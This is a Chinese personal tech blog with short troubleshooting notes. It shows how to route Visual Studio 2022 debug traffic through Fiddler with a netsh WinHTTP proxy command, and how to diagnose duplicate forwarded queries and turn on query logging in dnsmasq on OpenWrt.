打开了wireshark从网卡当然可以抓到所有包,但请求都是https,用改环境变量让chrome记录ssllog接着wireshark去读它然后解密的方法,只适用于浏览器,对IDE调试没用。想走一样的思路让IDE去记录调试中网络连接的私钥,也没能搜到相关的内容。

于是我打开了fiddler,fiddler是代理中间人的模式,肯定能解https,可是调试时却发现没能抓到任何一个VS的包,浏览器的包倒是能抓到,原因是vs发出的网络请求没从fiddler代理的8888端口经过。

接着便是修改VS的设置让VS从8888走代理,搜了一下发现2022版本好像是没有代理服务器设置的,旧版是有的,某个版本开始也移除了。

最后用netsh修改WinHTTP的代理,然后重启VS,问题得到了解决。

解决方案

设置代理:

1
netsh winhttp set proxy 127.0.0.1:8888

重置:

1
netsh winhttp reset proxy

引用

wireshark https抓包

Introducing Visual Studio’s Network tool

Configure .NET Core Applications

开了dnsmasq的日志之后,发现一次query下面却跟了两个forwarded

1
2
3
4
Jul  6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 query[A] clientservices.googleapis.com from 192.168.x.xxx
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 forwarded clientservices.googleapis.com to 223.5.5.5
Jul 6 13:03:12 dnsmasq[14543]: 1 192.168.x.xxx/60201 reply clientservices.googleapis.com is 120.253.255.98

我第一反应跟我用两条宽带有关,于是把其中一条宽带的DNS改成114.114.114以区分,果然,两次forwarded,一次223.5.5.5一次114.114.114

1
2
3
4
Jul  6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 query[A] www.google.com from 192.168.x.xxx
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 223.5.5.5
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.x.xxx/58192 forwarded www.google.com to 114.114.114.114
Jul 6 13:29:45 dnsmasq[780]: 1 192.168.2.135/58192 reply www.google.com is 142.251.43.4

不知道为什么dnsmasq要每一条宽带都请求一次,可能是在负载均衡的规则中进了balanced。

于是去负载均衡里面加上了两条DNS的规则,让tcp/udp协议的目标端口为53的流量都优先走其中一条宽带,发现并不管用。

去看看dnsmasq的解析文件/tmp/resolv.conf.d/resolv.conf.auto

1
2
3
4
# Interface wan
nameserver 223.5.5.5
# Interface wan1
nameserver 114.114.114.114

突然明白了,我之前勾选了“使用 all-servers 并发查询”,这样每个网络接口里面自定义的DNS服务器都会查一次,但只用最快得到的结果。我取消了并发查询之后,一次query只有一个forwarded。

其实问题出在resolv.conf,两个网络接口用相同的nameserver,resolv.conf会加上两条相同的nameserver,而不是相同的nameserver会自动去重。

在openwrt的luci可以直接开启dnsmasq的日志:

网络->DHCP/DNS->基本请求->记录查询日志 勾上

下面小字写着“将收到的 DNS 请求写入系统日志”,可是我没发现系统日志有dns查询记录

去看了一下配置文件/etc/dnsmasq.conf,除了一行log-facility=/dev/null就全是注释,很明显主要配置不在这里

又去这个/etc/config/dhcp配置文件看了一下,看config dnsmasq的部分,有关日志的也只有 option logqueries '1',这样看来,日志确实是开了,但是却不知道在哪

搜了一下dnsmasq的运行配置在/var/etc/dnsmasq.conf.cfgxxxxxx,也没有看到相关的日志位置

经过一番搜索,发现上面/etc/dnsmasq.conflog-facility就是配置日志的目录,改了之后/etc/init.d/dnsmasq restart重启dnsmasq,搞定。

要开关的话还是在luci开关,只把日志位置写在/etc/dnsmasq.conf就好了。也可以直接在/etc/config/dhcp加上 option logqueries '1',这里就是luci的配置文件,加上之后luci的记录查询日志的框框会自己勾上。

当然在/etc/dnsmasq.conf加上log-queries也可以直接开启日志,但这样的坏处是跟luci不同步了,加上之后,虽然luci的记录查询日志的框框没勾上,但却开启了日志。

最后,不要去改运行配置。